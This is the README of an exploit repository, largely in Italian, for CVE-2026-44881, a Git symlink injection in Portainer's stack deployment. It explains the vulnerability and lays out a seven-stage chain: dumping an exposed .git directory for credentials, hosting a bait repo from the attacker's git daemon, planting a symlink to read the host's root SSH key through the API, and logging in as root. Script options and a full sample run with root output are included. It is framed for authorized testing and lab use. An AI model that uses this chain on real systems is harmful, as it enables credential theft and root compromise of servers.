
Exploit a singolo script per CVE-2026-44881, un'iniezione di symlink Git in Portainer che consente la lettura arbitraria di file dell'host da parte di un utente autenticato con bassi privilegi e diritti di creazione di stack.
Exploit a script singolo per CVE-2026-44881, un'iniezione di symlink Git nel flusso di distribuzione degli stack di Portainer che consente a qualsiasi utente autenticato con privilegi bassi e diritti di creazione stack di leggere file arbitrari raggiungibili dal processo Portainer.
Avviso: GHSA-rpgq-m5fp-32wr Versioni Affette: Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.xCorretto in:2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
La vulnerabilità è una combinazione di due primitive:
go-git v5 traduce le voci dell'albero Git con modalità 0o120000 (symlink) in symlink reali del sistema operativo durante git clone. L'unico nome in lista nera è .gitmodules; ogni altro percorso — incluso docker-compose.yml, che Portainer tratta come punto di ingresso dello stack — può essere un symlink con un target relativo arbitrario.Service.GetFileContent (api/filesystem/filesystem.go) legge il file di ingresso dello stack con os.ReadFile, che segue trasparentemente i symlink del sistema operativo. JoinPaths impedisce ../ nella stringa di input ma non chiama mai filepath.EvalSymlinks, quindi un symlink già presente su disco viene risolto felicemente al suo target.Portainer viene comunemente eseguito come root all'interno del suo contenitore (necessario per il socket Docker), quindi la portata della primitiva di lettura è tutto ciò che il contenitore può vedere — tipicamente /data/portainer.db (BoltDB con l'hash della password di ogni utente + ogni token API), token dell'account di servizio Kubernetes in /var/run/secrets/kubernetes.io/serviceaccount/token, segreti Docker Swarm in /run/secrets/, e — nelle distribuzioni che montano in bind il filesystem host per il monitoraggio — /etc/shadow dell'host, /root/.ssh/*, e così via.
Questo script incatena:
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
Rileva automaticamente l'IP dell'attaccante da ip addr e presume che .git sia esposto a http://target/.git/. Sovrascrivi qualsiasi cosa non corrisponda al tuo ambiente:
-t, --target target IP (required)
-a, --attacker attacker IP advertised to Portainer for the git daemon (auto-detected)
-l, --leak-path path of the exposed .git directory (default: /.git)
-p, --portainer-port Portainer HTTP port (default: 9000)
-g, --git-port local git daemon port (default: 9418)
-w, --workdir working directory for scratch files (default: mktemp)
-u, --user skip .git enumeration; use this Portainer username
-P, --pass skip .git enumeration; use this Portainer password
--no-creds-from-git skip the .git stage and require -u/-P
--no-ssh skip the final SSH-in step
-h, --help show this help and exit
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl, jq, git (con git daemon), sshgit-dumper — pipx install git-dumper. Lo script include un enumeratore HTTP stupido minimo integrato che gestisce il semplice caso di oggetti sciolti se git-dumper non è presente, ma per qualsiasi directory .git esposta non banale lo strumento completo è molto più affidabile./:/mnt/host:ro e legge /mnt/host/root/.ssh/id_rsa. Per prendere di mira altri file, modifica il target del symlink nella Fase 5 (../../../mnt/host/root/.ssh/id_rsa). go-billy di Portainer imprigiona in chroot i symlink assoluti al worktree, quindi il target deve essere relativo..git sono valide solo per Portainer — non concedono SSH né alcun accesso diretto all'host. Il laboratorio è configurato in modo che l'unico modo per ottenere RCE a livello di host sia attraverso la CVE stessa.{"message":"stack config file is invalid"} — questo è il validatore che si lamenta del fatto che una chiave SSH non sia YAML valido. Il clone ha già sovrascritto l'albero di lavoro nel momento in cui il validatore viene eseguito, che è esattamente ciò di cui abbiamo bisogno.MIT. Solo per test autorizzati e uso in CTF / laboratorio.